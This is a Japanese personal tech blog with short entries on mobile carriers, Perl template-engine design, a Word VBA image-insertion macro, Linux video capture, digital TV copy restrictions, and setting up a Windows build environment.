スラッシュドット ジャパン | ソフトバンクモバイルとau、春商戦向けの新機種発表 だそうですが、相変わらずauは自分的に魅力的な端末(=ストレート型でフラットな端末)が出ないですなぁ。ソフトバンクもドコモもWillcomも、それぞれ最低1機種はストレート端末出しているのに。



そろそろau見限り時ですかね。nine+ってどうなんだろうか。

初eBay

genre:diary,netservice


eBayでお買い物に挑戦してみた。当然、「海外発送承ります」な出品で、出品価格=最落札価格(つまり入札したら即落札)のものだったので競ったりはなかったわけですが、何もトラブルなく送金まで完了。



あらかじめ地域ごとの送料も設定されていて、落札後すぐにeBayから落札価格+送料が表示され、(paypal対応だったので)即paypalの決済画面に飛んでクレジットカード番号を入力するだけで送金できたりと、初の海外取引という自分でもスムーズに作業が進む。業者の出品&paypal支払いなので信頼もできるし、決済も即時完了。あとは到着を待つだけ。



ただ、買ったものがアニメDVDなので税関でなにかトラブルが起こらないかだけが心配なのですが・・・。



しかし全52話BOXのDVDが40ドル+送料8ドルで買えるとは、価格差おそるべし。



# マレーシア版?ALL Regionのものを米国の業者が輸入してそれを日本人が買うという、良く考えればすごい流れだ・・・




My WILLCOMが超絶使えねー件について

genre:diary


最近全然使ってないWillcomの料金プラン変更(データ定額解除)をしようと、 WILLCOM STORE にアクセスしたわけですが、サイトが激しく使えなくて変更に15分近くかかりましたよ。



サイト自体が重いのはまぁしょうがないとして、ログイン画面でメールアドレス+パスワードを入力してEnterキーを押すとなぜかトップ画面に戻るというのはどういう仕様だ(汗)。



アカウント情報を更新しなきゃならないのかなぁと思ってアカウントを再度作成してしまう始末ですよ。



あと、登録時に固定電話番号の入力が必須なのもこのご時勢どうかと。ない場合は実家か職場の電話番号を入力せよ、とかいう話ですが、うちの実家はすでに固定電話を廃止してしまっているわけなんですが(汗)。私的な内容なのに職場の電話を入力するのもどうかと思うし。幸い、自宅はNTTの固定電話線は来ているのでその番号を入力して済ませましたが、残念ながら電話機はつながっていないのよね。



そろそろWillcomも解約どきですかねぇ。




Template-Toolkitメモ

genre:perl,programming,memo


Template-ToolkitのテンプレートのParseは、Template/Parser.pm中のparse()で行われている。



まず、$textに読み込まれたテンプレートをsplit_text($text)でテンプレートコマンド([%?%]など)単位で切り出す(以下)。

    # extract all directives from the text

    while ($text =~ s/
           ^(.*?)               # $1 – start of line up to directive
           (?:
            $start          # start of tag
            (.*?)           # $2 – tag contents
            $end            # end of tag
            )
           //sx) {
 
        ($pre, $dir) = ($1, $2);
        $pre = ” unless defined $pre;
        $dir = ” unless defined $dir;
 
        $prelines  = ($pre =~ tr/\n//);  # newlines in preceeding text
        $dirlines  = ($dir =~ tr/\n//);  # newlines in directive tag
        $postlines = 0;                  # newlines chomped after tag で、タグのディレクティブ($dirに格納)の空白などを取り除いて正規化して、非ディレクティブ(テキスト部分)とともに@tokenに順にぶち込んでいく。@tokenにはTEXTかTAG(DIRECTIVE)かという情報とともにテキストとディレクティブが順にぶち込まれる。

あとは@tokenの頭から、ぶちこまれたものを取り出して、_parse()でTAGを解釈していく。


年始からハマりまくり

genre:Linux,Hack


Plextorの「 PX-TV432P 」という、数年前のMPEG-2/MPEG-4/DivXハードウェアエンコード機能付きビデオキャプチャカードをちょいと手に入れたのでいじり中。



もちろん、我が家にはWindowsなどない(というかMacBook用に買ってインストールしていないDSP版XPしかない)ので必然的にLinuxで動かすことに。



とりあえず、色々ネットを漁って別機種用のデバイスドライバとカーネルをHackして何とか一部(生動画データと圧縮済み動画データ)を取りだすことには成功したものの、音がうまくつながらない・・・。



あと、なぜか突然NVIDIAのプロプライエタリドライバが動かなくなってOSSのドライバを突込む羽目になったりこれまた塩漬けにしていたSound Blaster Audigyを認識させるのに手間取ったりと新年からドハマり中で睡眠時間削られまくりですよ。



Linuxでの動画関連はまだまだ鬼門だなぁ……。何とか地デジのS-Video出力をワイドのままキャプチャしたいんだが(汗)。




iMac液晶パネルの、IPSとTNの見分け方

genre:Mac,opinion


新IMac 20インチモデルの液晶が密かにIPS方式に…?? – 気になる、記になる… とか、 価格.com – APPLE iMac MA876J/A (2000) クチコミ 『20インチの液晶』 とかで20インチiMacの液晶パネルがTN方式TFTからIPS方式TFTに変わったんじゃないか、という噂が流れているんだけど、どうなんでしょうかね。



てか、IPS方式のTFT液晶を見たことがない人たちが言いたい放題言っているような気もするんだけど……。最近のTN方式TFT液晶はかなり視野角がアップしていて、例えばうちのMacBook(もちろんTN方式TFT液晶)では、かなり斜め、というか真横に近い向きから見ても画面に表示されているものが識別できる。もちろん、正しい色では見えないけど。



ちなみに液晶パネルの識別方法だけど、ほぼ確実に見分けられるのが真横(視野角的には170°以上)から液晶画面を見る方法。正面から見たのとほとんど同じ色味で画面が見えるのがIPSやVA。画面は見えるけど、暗くなるのがTN。とりあえずこの方式でチェックした結果、今のところTN以外の液晶パネルを搭載した20インチiMacは発見できてません……。



現在、20インチパネルはTNパネルの急激な値下がりのためにTNとIPSでは相当の価格差があるので、20インチモデルにIPSパネルを載せるのはあまり考えられないのだけど、ちょっとApple Store行って見てこようかな。



個人的には視野角による色の変化はあるものの、比較的近距離で見るPCのディスプレイ用途としてはTNで問題ないと思うんだけどね。

某所では廉価IPSの方が目が疲れる、という話もあるし。




PC向け地デジ外付けチューナーを売れないのは、技術軽視の日本の縮図を見るかのようだ

genre:diary,opinion


フリーオ駆逐の最終兵器、「合法外付けチューナー」の胎動:ITpro によると、複数の国内メーカーが外付けのPC用地デジチューナーの開発を行っており、放送業界からOKが出れば数ヵ月後には発売できる状態にまで進んでいるそうで。



なんつぅか、国内向けの商売しかできてなくて、海外に対してほとんど売れるものを作れていないダメ業界のせいで、世界に誇れる技術力を持つメーカーの商売が邪魔されているのを見ると胸糞が悪くなりますな。



日本は技術力で食ってくんじゃなかったっけ? コンテンツ商売とか言っても、いま日本で世界に売れるコンテンツはマンガ・アニメばっかりだし。




MacBookのキーボードがマイナーバージョンアップしていた

genre:Mac,diary


ITmediaの “サンタ”になった新型MacBookをチェックする (1/2) – ITmedia +D PC USER によると、新型MacBookではキーボードの配列が若干変わっていて、従来スペースバーの左側にしかなかったCommandキーが、右側にも追加されたそうだ。



実機を1日くらい触ってたけど、全然気づかなかったよ。MacでのCommandキーって、ショートカットキー操作のために多用するんだけど、旧MacBookではカーソルキー側にCommandキーがなかったので、Command+矢印キーとかCommand+Enterキーとかの入力が片手でできなくて困ってたのに、こうもあっさり解決してきやがるとは!(iBook時代からずっと右側にはCommandキーはなかったので、未来永劫そのままだと思ってた)



キーボードだけでも交換したくなってきたよ・・・。




6Mbpsの限界?

genre:AV,diary


今年中にVHSビデオとはおさらばしようと、VHSで録画していたものをコツコツとMacに取り込み中。しかし、使っているビデオキャプチャはUSB1.1接続の PIX-MPTV/U1M なので、高ビットレート時の動作が不安定(汗)。仕様上は最大ビットレート6MbpsのMPEG-2でキャプチャできるのだけど、ものによってはブロックノイズ入りまくり。



録画していたコンテンツはバンドのライブ映像が多いんだけど、国内バンドのライブ映像は特に問題なくいけたのに、Pink Floydのライブはブロックノイズ乗りまくり。6Mbpsではつらいのだろうか・・・。



ということで急遽Linux機にキャプチャボードを挿して録画機にしてみようかと思います……。年内に終わるのだろうか。




AV製品総入れ替えとなるか?

genre:diary,AV


CDプレーヤーが不調。買ってきたばかりのCDを再生して音飛びしまくりとか、トレイ開閉時の異音とか、さすがに8年近く使うと劣化してくるんだなぁと実感中。

面倒臭いのは、CDプレーヤー+MDデッキ+チューナー+アンプ一体型のいわゆる一体型コンポなのでCDだけ交換、とは行かないところ。



光デジタル入出力とかも備えているから便利なんだけど、ここでAV機器総取っ換えはコストがかかりすぎるのでおとなしくINTEC155(ONKYOの小型単品CDプレーヤー)でも買って延命してみますかね・・・。



でも5.1chサラウンドも欲しくてたまらない今日この頃(汗




Xbox360かPS3か、はたまたApple TVか

genre:AV,diary


高解像度TVを買ったので、こいつでDVDとかPC内の動画とか音楽を視聴したいわけですよ。しかし、Macをいちいち繋げるのは面倒だし動画ファイルは外付けストレージに保存されているしリモコンも使いたいしということで、いわゆるセットトップボックスがあると便利じゃね?とか思ってきた。



とりあえずMac信者(笑)としてはまずApple TVを検討したいところなんだけど、残念なことにこいつはDVDドライブを搭載していない。DVDを見る場合、わざわざリッピングしなきゃならなくて面倒っぽい。iTunesとの連携とかは楽そうだけど、対応フォーマットが少ないのも難点だなぁ……、来年DVDドライブ付きApple TVが出るとかいう噂もあるしそれ待ちかな、とか思っていたわけですが、良く考えたらXbox 360もPS3もApple TVとたいして値段が変わらないことに気付く。



さぁどうしよう。残念ながら自宅にはWindowsマシンはなく、MacとLinuxだけだ(MacBookのデュアルブート用に1ライセンス買ってはいるがインストールしてない)。Apple TVならハマる心配はないし、ユーザーインターフェイスも使いやすそうだ。ただ、再生できるフォーマットの制限が厳しい。動画は基本的にH.264ベースになりそうだし、なんといってもDVDを直で再生できない。



一方、Xbox 360やPS3ならOSSのサーバが利用できるので、ハマる可能性はあるが多分動画・音楽の再生はできる。ただ、我が家でもっとも消費電力が大きいLinuxサーバを稼働させておく必要がある。あと、Mac内のiTunesライブラリを便利に利用できるかは微妙だ。



Xbox 360とPS3で比べると、現時点ではXbox 360のほうがほしいゲームが多いけど、PS3はPSPとの連携機能があるし、BDドライブの存在もデカイ。ただ、廉価モデルではPS2のゲームができないんだよね……。



Xbox 360でPS2のゲームができて、BDも読めれば最強なんだけどそうは問屋がおろさないだろうしw、非常に悩みどころではありますなぁ・・・。とかいってXbox 360を多分買ってしまうのだが。




何とかして安価に地デジを録画したい件について

genre:hack,digitalAV


いくら見たいテレビ番組があるといっても、その時間に家でゆっくり見られる可能性はかなり低いわけで、地デジを楽しもうとするとなんらかのタイムシフト機能は(自分としては)必須。



ところが、Amazonとかヤフオクとかでデジタル対応のHDDレコーダを探すと最低でも3万とかしやがるんですよ。VHSデッキだったら、1万円で買えたのにナニこのインフレ。



ということで、できるだけ低価格に地デジを高画質で録画するための方法を考えてみる。



【案1】I・O DATAの「 Rec-Pot 」を中古で買う

HDD容量にもよるけど、1万円台中ごろくらいから入手できそう。つなぎで買って、将来的にBDレコーダーとかにムーブするということもできる。ただ、HDDが換装できないっぽいのでHDDがへたってる可能性があるのが危険。HDDをなんとか換装できればかなりコストパフォーマンスは高い。



【案2】D-VHSデッキを中古で買う。こちらも1万円台中ごろくらいから入手できそう。こっちならとりあえず記録メディアの劣化は(数年なら)考慮しなくてよさそうだし、将来低にほかのデバイスへのムーブも可。しかし、いまさらテープメディアはちょっとしんどいかな・・・



【案3】Friioを買う。いろいろとアレゲですが、(B-CASの差し替えが面倒ということ以外は)すべての問題が解決。でもアレゲすぎ。



【案4】デジタル録画をあきらめる(汗)。現在使ってるアナログのビデオキャプチャにSビデオ出力して録画。画質以外のすべての問題が解決(笑)。



【案5】おとなしくハイビジョン対応HDDレコーダーを買う。絶対たまにしか使わないのでコストパフォーマンスは極悪・・・



【案6】死に物狂いでDTCPをクラックするw。できれば苦労しないってorz。まだRec PotのHDD換装のほうがハードル低そうだ。



ほんと不毛だなー、地デジ。




地デジ録画とコピー制限

genre:digitalAV,opinion


最近、地デジが見られるテレビを買ったんですよ。そんでもって、よく見たら「iLink(TS)」という端子がついているのね。で、とりあえずMacと繋いで「VirtualDVHS」という、FireWire経由でデジタル放送データをやり取りできるソフトを立ち上げて録画できるか試してみたんだけど、当然ダメなわけですよ。



もしこれで録画できれば、別に高価なHDDレコーダーとか買わずにずっと高機能で大容量のストレージを持つパソコンで簡単に動画を管理できて幸せだったのに、とか思いましたとさ。



しょうがないので地デジ対応のHDDレコーダー買っちゃおうかなーとか一瞬思ったんだけど、それで録画したところでできるのは内蔵HDDへの保存と光学メディアへのムーブだけなんだよね。



結局そのままではレコーダーと繋いだテレビでしか再生できないし、ほかの機器で再生するためには光学メディアにムーブしなきゃならない。



PCユーザー的には、ネットワークに置いたHDDにデータをため込んで、こっちの部屋のテレビでもあっちの部屋のテレビでも、ノートパソコンでもPSPでも自由に見たいわけですよ。HDDで通常のファイルとして管理できればバックアップも簡単だし、形式変換も簡単に行える。



テレビは普段あまり見ないので実のところ別にHDDレコーダーはいらないのだけど、たまにとても見たい番組、保存しておきたい番組があったりする。好きなバンドのライブとか、好きな監督や作家のインタビューとか。こういうのってセルメディアでは発売されないことも多いんだけど、現行の方式では録画しておいて趣味の合う友達の家に持って行って皆で見たり、録画機器何代にも渡って便利な形(=HDDに録画された形)で保存しておいて好きなときに簡単に探し出せて見られる、というのは難しい。



今度気になっている監督やその関連スタッフのインタビュー番組が放送されると聞いたので、「これはぜひ録画して保存しておかなければ!」とか思ったんだけど、実は地デジでは保存したところで半永久的に手元に残すことはできないと気付いて見る気まで低下しちゃいましたよ。HDDなんていつクラッシュするか分からないし、かといってDVD-RやBD-Rに書き出したら今度は場所もとるし不便になる。



確かに、「コンテンツをタダで見せてやってるんだから我慢しろ」というのは正論なんだけど、じゃあ金払うから自由に見させてくれ、管理させてくれ、とも言いたい。テレビの全番組を自由にコピー制限なしに管理できるのなら、そこそこの対価、携帯電話代程度なら払ってもいいくらいだ。「ダビング10」の議論で、「EPN形式にしろ」とか「いや、コピーワンス+ダビング9回だ」とか、制限を前提に話は進んでいるけど、少なくとも自分が望むのは「コピーフリー」だ。別にコンテンツを好き勝手にばらまきたいワケじゃないし、タダでほしいわけでもない。コンテンツを自由に「所有したい」だけなんだ。




続・テンプレートエンジンの仕様

genre:programming


ループ、条件分岐のあたりを再考。



・「[% foreach $var in @配列名 %]」?「[% end foreach %]」でループ。$varに@配列名の要素を次々と代入して繰り返す

・「[% if $var %]」?「[% else %]」?「[% end if %]」でif?else?型条件分岐。$varがtrueならelseまでを適用、flaseならelse以降を適用



コメント関係を追加。

・「<–$」「$–>」は無視。テンプレート実行時には除去される

・「[% #ほげほげ %]」はコメント。テンプレート実行時には除去される



最低限の組み込み関数。

・「[% include ファイル名 %]」で指定したファイルをinclude。includeされたファイルはParseされてその場所に挿入される

・「[% insert ファイル名 %]」で指定したファイルを挿入。insertでは指定したファイルはParseされない



コメント関係は、例えばHTMLエディタでTemplateを作成する場合の便宜を考えたもの。例えば

[% if $var1 %]OK![% else %]NG![% end if %]

というHTMLの場合、HTMLエディタでは


**[% if $var1 %]OK![% else %]NG![% end if %]**
と表示されてしまう。この場合、
OK!

[% if $var1 %]OK!

と書けば、


**OK!**
とか
**[% if $var1 %]OK!**
となって分かりやすい、かも。

簡易テンプレートエンジンの仕様を考えるメモ

genre:memo,programming,perl


Perlで簡易的な、でも実用に耐えるHTML用のテンプレートエンジンを作るための仕様を適当に考えてみる。



●Parserエンジン仕様

# パーサーオブジェクト生成

$p = new TinyHTMLParser();



#テンプレートと変数を渡してParseする。

#変数($vars)は参照の形で渡す。

#テンプレート($template)はファイル名かfopenで開いたファイルのグラブか生テキストデータ。

#戻り値はテンプレートに変数を適用した結果。

$html = TinyHTMLParser()%vars, $template);



・変数は%varsの要素として渡す。スカラーと配列を渡せる



●テンプレート仕様

・「$変数名」は引数に与えた変数(スカラー)で展開される

・「$$」は「$」に展開される

・「$変数名」がハッシュへの参照の場合、「$変数名->要素」で「要素」という名前を持つ要素にアクセスできる。ただし、「$変数名->要素->要素」という表現は禁止。

・「<!–foreach $var in @配列名–>」?「<!–end foreach–>」でループ。$varに@配列名の要素を次々と代入して繰り返す

・「<!–if $var–>」?「<!–else–>」?「<!–end if–>」でif?else?式条件分岐。$varがexistならelseまでを適用、not existならelse以降を適用



以上。TemplateToolkitのサブセット版みたいな感じだね。原則として、内部データを直でテンプレートに適用するのではなく、表示用のデータに変換してからテンプレートに適用することを想定。

分岐を「<!– –>」で囲むのは、HTMLとして見たときに解釈しやすくするため。開始/終了タグは変更可能。




よく日記の更新に失敗する件について&来年のApple新製品

genre:Mac,news


多分、「保存」と間違えて「プレビュー」をクリックしてしまっているのが原因だと思われるんですが、書いたはずの日記が登録されてねぇ! てことがよくあったり。



「プレビュー」だけして保存しなかった記事を自動バックアップしてくれる機能があったりすると良いんだけどなぁ・・・。



ということで、最初に書いた AppleInsider | Second-gen iPhone in final phase; Apple TV update planned – report のネタをもう一回書くのもアレなんで要約だけ。



・来年後半にiPhoneとApple TVの新型が出るっぽい

・iPhoneは3G対応。外見も変わるかも

・Apple TVには液晶ディスプレイが付くかも

・来年にはMacのラインアップも一新されるけど、多分デザイン的な問題でサブノートは出ない



Apple TVの買いどきはいつなんでしょ・・・


Wordのマクロをがしがし書く

genre:windows,hack,programing


Wordで文書を作成しなきゃならないんだけど、Emacs使い的にはWordで長文作成なんてやってられないのでエディタで書いた後にWordにコピーして整形、という形で作成。



この場合、画像を入れたいときに手作業でわざわざファイルを指定して挿入、という作業を繰り返さなければいけないのが面倒なのでマクロで自動化を試みる。



挿入する画像には[0-9]{1,5}.*というファイル名をつけておいて、エディタでの編集時には挿入したい画像のgファイル名を^[0-9]{1,5}という形で埋め込んでおき、マクロを実行すると対応する画像が自動的に挿入される。



ということで書いたVBAが以下。Wordの正規表現が独特で融通が利かなかったり、VBAの文法自体がワケ分からなかったりと激しくハマリまくりましたが・・・。せめてJavaScriptでマクロが書けるようになると便利なのに。。。

Sub InsertImage()

 
  Dim TextRange As Range
  Dim FileName As String
  Dim FolderName As String
  Dim FoundFile As String
  Set TextRange = ActiveDocument.Content
  Set fs = Application.FileSearch
 
  With Application.FileDialog(msoFileDialogFolderPicker)
    If .Show = False Then
      GoTo Label_end
    End If
    FolderName = .SelectedItems(1)
  End With
 
  Do While TextRange.Find.Execute(“^13[0-9]{1,5}”, , , True)
    FileName = TextRange.Text
    FileName = Mid(FileName, 2)
    Selection.SetRange Start:=TextRange.End, End:=TextRange.End
 
    With fs
      .NewSearch
      .LookIn = FolderName
      .SearchSubFolders = False
      .FileName = FileName & “.*”
 
      If .Execute() > 0 Then
        For I = 1 To .FoundFiles.Count
          FoundFile = .FoundFiles(I)
          Selection.InlineShapes.AddPicture _
            FileName := FoundFile, _
            LinkToFile := False, _
            SaveWithDocument := True
        Next I
      End If
    End With
 
  Loop
 
‘終了
Label_end:
End Sub

転載と商業サイトと引用元とインターネット

Genre:雑感,Web


System All Green: Tumblr界隈におけるにゅーあきば問題について というものがあるそうで。



1行でまとめると、「自分のサイトで紹介したネタが商業サイトで無断転載されるのはどうなのよ?」という話なんだけど、面倒なのは「自分のサイトで紹介したネタがほかのサイトからの転載だった」というところ。



まず、にゅーあきばの転載の場合、サイトで紹介したものをそのまま自サイトにコピーするわけではなく、画像の一部を掲載&元サイトへのリンク掲載という形になるので、転載とまで言えるのかどうかは微妙で、そのネタを見たい人は掲載元サイトに誘導されるわけだから別にいいじゃん、とか思っちゃうんですがどうなんでしょ。



まぁ、リンクは正しいネタ元へと張るべき、というのは同意。ただ、ネタ元が探せなかったり、アクセスできない場合は転載サイトへのリンクを張るのはしょうがないかなぁとか思うんだけどね。炎上・トラブル覚悟で。



あと、人の集めた情報を転載して稼ぐサイトってどうなのよ、とかいう話はあるけど、「情報を集める」&「集めた情報を分類して発信する」というのに労力がかかる以上、対価を求めるのは悪くないのではないでしょうか。



以上、適当な雑感でした。




ブラウザをIE7からFirefoxに戻した件について

Genre:Windows,雑感


Windowsを再インストールしたらもれなくIE7が付いてきた(汗)※ので、しばらくIE7を使っていたのだが、結局メインブラウザはFirefoxに戻すことに。



※HFSLIPでSP2適用CDを作るときに間違ってIE7を突っ込んでしまったのが原因



かつてはIE4を使っていながら、IEをなめていたんだけど、意外にIE7は使い勝手は悪くない。「 IE Open Last Closed Tab 」とか、「 IE7pro 」とかを突っ込んどけばタブ周りの使い勝手もよくなるし、検索バーも標準搭載だし。



IE7、デフォルトでは軽いんだけどツールバーをインストールしていくとどんどん重くなっていく気が……。ついでに、やっぱりレンダリングが遅い。JavaScriptで動的なページ生成をしているページだと致命的。ついでにタブをたくさん開くとやっぱりどんどん動作が重くなる・・・。ちなみにPCのスペックはAthlon64 3200+(2GHz)でメモリは1GB。



といっても、実際にはあまり気にならないレベルではあるのだが、やはり些細な引っかかりは気になったので結局Firefoxに戻すことに。



あと、del.icio.usのブックマークツールバーの出来がIE用とFirefox用では雲泥の差。IE用は一度del.icio.usの登録ページに飛ばされるので、del.icio.usのサーバーが重いということもありさくさくブックマークが行えなかったんだけど、Firefox用はローカル側でタグ入力とかコメント入力までできるので軽い軽い。



それにしても、なんでIE7のコマンドバーはタブバーの横に固定なのだろうか。おかげで無駄にタブ領域が狭くなったってるし。あれを上に動かすだけで、だいぶ使い勝手が変わると思うんだけど・・・。




「画像ちゃんねる」管理人逮捕は警察偉い人の娘画像アップが原因?

先日、画像投稿掲示板「画像ちゃんねる」の管理人が逮捕され、ネットでも結構話題になりましたが、関連してこんなネタが。


「がさ入れ体験談‐女のさじかげん」 というブログで、風俗で働いている女性が働いている店のガサ入れに遭遇、という記事があったのですが、なんとこのお店、「画像ちゃんねる」管理人が関わっていたお店だそうで、ガサ入れの理由がかかれておりました。それによると、以下のような感じだったようです。


  • 神奈川県警のお偉いさんの娘のあらぬ画像が画像ちゃんねるにアップされた。アップ主は別れた彼氏
  • お偉いさん激怒。載せた奴のIPを聞き出してタイーホ
  • お偉いさん気が治まらず、運営者の身辺調査
  • 運営者調べたら風俗店やってからガサ入れ!


まぁ、詳細はリンク元記事を見ていただければと思うわけですが、結局画像ちゃんねるがつかまったのはお偉いさんを怒らせたから、ってことなんでしょうかねー。

あくまでも噂ですが。


Second Life内で強姦事件発生、実世界の警察が動き出す

先日はついに テロまで発生したSecond Lifeだが、今度はレイプ事件が発生、警察が捜査に動き出したそうだ。


ベルギーの新聞「De Morgen」の「 Federal Computer Crime Unit patrouilleert in Second Life 」(日本語訳すると「連邦コンピュータ犯罪捜査班がSecond Life内を操作」、という感じ)という記事によると、


仮想世界の中の人物が「レイプ」された。この「仮想レイプ」によって、ブリュッセルの司法警察が動き出した。


とのこと。ここで言われている「警察」はもちろん仮想世界内の警察ではなく、実在の警察である。

原文はオランダ語のためちょっと内容が分かりにくいのだが、「 [“Virtual Rape” Claim Brings Belgian Police to Second Life][3] 」によると、Second Life内で「レイプ」を可能にする改造というのが存在し、さらにこの改造方法はゲーム内でこの改造法の開発者から購入することができるそうだ。

なお、「 [WIRED VISION / 仮想世界の「レイプ事件」を考える][4] 」では日本語でこの事件についての考察が掲載されている。

この事件が本当に違法性があるのかどうかは難しい問題だが、ついにこのような事件が発生するとはSecond Life、おそるべし。


「Webビジネス」の記事で突然Macのお話が・・・

Japan.internet.com Webビジネス – システム管理者の頭を悩ませるインストーラー
という記事について。



この記事では、推奨するインストール形式として

  1. ドラッグ&ドロップでインストール。インストールメディアをセットしてアプリケーションファイルをインストールしたい場所にドラッグ&ドロップするだけ。
  2. binhex 形式の圧縮インストーラーを使わない。インストーラをダウンロードするインストーラを使わない。
  3. プラットフォームに合わせて適切なインストーラーを使う

とか書かれているんだけど、普通の人はこれが何を言っているのかよくわからんだろ。だってこの記事、Mac OS X環境を前提に書かれているんだから。

OS X環境では、アプリケーションの実行ファイル(通常、Macのアプリケーションは1ファイルに全てのリソースファイルやライブラリなどがアーカイブされている)をApplicationフォルダにドラッグ&ドロップするだけで完了する、という方法がAppleによって推奨されている。

この方法だと、もしアプリケーションが不要になってもその実行ファイルを削除するだけでアンインストールが完了する。もしくは、OS X標準搭載のインストーラを利用するのが安全だ、という話なのだが、これ記事のタイトルは「システム管理者の頭を悩ませるインストーラー」。しかもWebビジネスだ。そして後半は完全にMac環境の話になってくるので、ここまで来てやっと読者はMac環境の話だ、と気づくのだが・・・。

**Mac環境前提だ、ということを説明しろよ!**


カスペルスキー先生はハゲではなかったらしい。

5月16日?18日にかけて、 情報セキュリティEXPOなるイベントが開催されているわけですが、そこで話題なのがカスペルスキー先生。 Kaspersky Internet Securityで有名な先生が、講演されるということで結構人も集まっていたようですが、そこで驚愕の事実が。


先生の頭髪、ロンゲ金髪。Kaspersky Internet Securityのパッケージに登場している先生は短髪でおでこが前面に押し出された写真だったのが、講演ではロンゲ。「ヅラじゃね?」という意見もちらほら……。



……といっても、 Kaspersky Lab に掲載されている先生の写真ではちゃんと頭髪があるので、パッケージ写真がおかしかっただけ、という話も。ロシアのヅラ技術が凄いのか、それとも地毛なのかはさすがに誰も質問できませんでしたとさ……。




アンチAppleの心情

ネットでアンチApple発言は多く見られるけど、 これは久しぶりにごついな。以下、引用。

Appleは邪悪。Appleは死。Appleは人類の敵。

いったいこの人に何があったのか。勝手に推測してみよう。

  • ばら色の将来を期待してMacを買ったら周りはみんなWindowsユーザーになっていって迫害された
  • 他人のiPodに入っている楽曲を丸々コピーできることを期待してiPodを買ったけど、コピーできなかった
  • 自分でメモリ増設したらMacが起動しなくなって保証も受けられなくて無駄骨に
  • OS 9のサポートが打ち切られて旧OS環境向けの、高い金を出して買ったソフトが動かせなくなった
  • iBookが燃えて家が全焼した


とかか? 心情を聞いてみたいところだ。
ていうか、別にWindowsとかUNIXユーザーに害をなすことは(QuickTime以外は)やってないよなぁ・・・。


Office互換ソフトの活用法

インターネットカフェ「ワイプ」全店、2000台超のPCにOffice互換ソフトを導入という話。


このOffice互換ソフトは「Kingsoft Office」という、中国企業が作っているMS Office互換ソフトで、MS Word/Excel/PowerPoint 2000と、UIまでも含めて高い互換性を持っている、という話。まぁ、Officeクローンですな。



個人的には仕事の関係でちょっと使ってみたことはあるんだけど、かなりのコピーっぷりに驚いたことがあります。



しかしいくら本物そっくりでも、なかなか一般企業の事務処理向けには導入しにくい、というかすでに多くのオフィスではMS Officeが導入済みだったりするわけで、もし新規にオフィス立ち上げとかで互換ソフトが必要なら完全無料のOpenOffice.orgとかを入れるだろ、という状況なので苦戦するんじゃね? とか思っていたわけですが、ネットカフェとは良いところに目を付けたもんだ。



ネットカフェ全店の全PCにOffice導入、とかだとコスト的にはつらい上、Officeはそこまで頻繁に利用されるソフトではない。MS Officeの導入あり・なしではネットカフェの評価はそんなに変わらないけど、必要な人も多少はいるので互換ソフトで対応、というのはコスト的にも非常に現実的ではないかと思いますよ。体験版配布などのプロモーションもやるみたいなので、そこらへんでディスカウントもされているだろうしね。



ちなみにこのKingsoft Office、互換性という点では非常に良くできているのでソフト名以外では文句が来ることもほとんどないでしょう。



# 実家のPCにOpenOffice.orgをインストールしたら母親に「ソフト名が分かりにくい! どれがWordだ!」と文句を言われたことがあったりする。




ddの疑問

#1153138で、

> # DDしたイメージをファイルシステムにマウントした場合、再生側はオリジナルと区別がつかない

マウントできる部分だけが全てではない。メディアにはデータとは別に固有の識別キーがあるので、データとは無関係に区別が付く。
> 単純にコピーするだけなら(バックアップするだけなら)暗号化を解除する必要はないのでは?
メディアキーは復号にも使うんで、それが失われたら解除不能。


という話があがっていたんだけどこれってどうなんだろう? 俺的には、

・Linuxはデバイスへのすべてのアクセスを仮想ファイルを通じて行う
 ↓
・当然、仮想ファイルにマップされたストレージデバイスへはあたかもファイルにアクセスするようにアクセスできる
 ↓
・ファイルとしてアクセスできない情報へはLinuxでは(少なくともユーザーランドからは)アクセスできない
 ↓
・ddでダンプできない情報へはLinuxでは(少なくともユーザーランドからは)アクセスできない

という認識なんだけど・・・。

いまいちよく分からん。ググってみるか。

WinXPでcygwinを使わずにUNIX互換環境を作る(1):コンパイラ環境を整える

Win環境でUNIX互換環境を作るといえばcygwinが真っ先に浮かぶわけですが、以下の理由で個人的にcygwinは嫌いなのですよ。


・cygwin環境とコマンドプロンプト環境が切り分けられてしまう

・パス指定がごっちゃになる

・cygwinはXとかを入れないで標準コンソールだけで使う場合、デフォルトの日本語環境が酷い

・cygwin環境のPerlはところどころ動きがおかしいくさい(とりあえずatimeとかの扱いでハマッた経験あり)

・時々DLLのバージョン違いとかではまったりする



ということで、cygwinを使わずに、WinXP環境にできるだけUNIX互換環境(というかプログラミングで困らない環境)を組み立ててみようというのが趣旨。



実は、コマンドラインベースのツールなら結構Windows環境でコンパイルできて使えてしまったりするのでそれで意外に簡単に環境は整えられたりするのです。さあ、脱cygwin!



さて。まず必要なのがコンパイラ環境の構築。幸いにも、MSがVC++の無償版やWindowsのSDKを無償公開してくれているので、そいつらを導入するだけでコンパイラ環境は簡単に構築できます。



VC++はMSの「 Visual C++ 2005 Express Edition 日本語版 」ページからダウンロード可能。インストーラではコンパイラだけでなく、IDEやドキュメントもインストールできるけど、とりあえず必要なし。



WindowsのSDKは同じくMSの「 Windows Server 2003 SP1 Platform SDK Web Install 」からダウンロードできます。こちらには64ビット環境向けのコンパイル環境や各種ドキュメントなども含まれていますが、とくに必要なし。いくつかのSDKがインストールできますが、以下のSDKを入れておけばいいでしょう。


  • Core SDK
  • Internet Development SDK
  • IIS SDK
  • MDAC SDK
  • Windows Installer SDK
  • WMI SDK
  • Windows XP SP2 SDK


ちなみに、先にPlatform SDKを入れておくとVC++ Express Editionを入れたときに自動的にPlatform SDKを入れる環境もセットアップされるらしいです。

で、それぞれをインストールするとスタートメニューに

「Visual C++ 2005 Express Edition」→「Visual Studio Tools」→「Visual Studio 2005 コマンド プロンプト」

とか、

「Microsoft Platform SDK for Windows Server 2003 SP1」→「Open Build Environment Window\Windows XP 32-bit Build Environment」→「Set Windows XP 32-bit Build Environment (Retail)」

が追加され、ここから環境変数設定済みのコンソールが開けたりするわけですが、デフォルトでは「Visual Studio 2005 コマンド プロンプト」を開いてもWindowsの開発ライブラリのパスが設定されなかったりします。

ということで、VC++ Express Editionのインストールディレクトリ(デフォルトではC:\Program Files\Microsoft Visual Studio 8\)ディレクトリ以下のCommon7\Tools\以下にある「vsvars32.bat」の最終行、「:end」のあとに下記の一行を追加して「Visual Studio 2005 コマンド プロンプト」から完全な開発環境が開けるように設定しましょう。
call "C:\Program Files\Microsoft Platform SDK\SetEnv.cmd" /XP32 /RETAIL

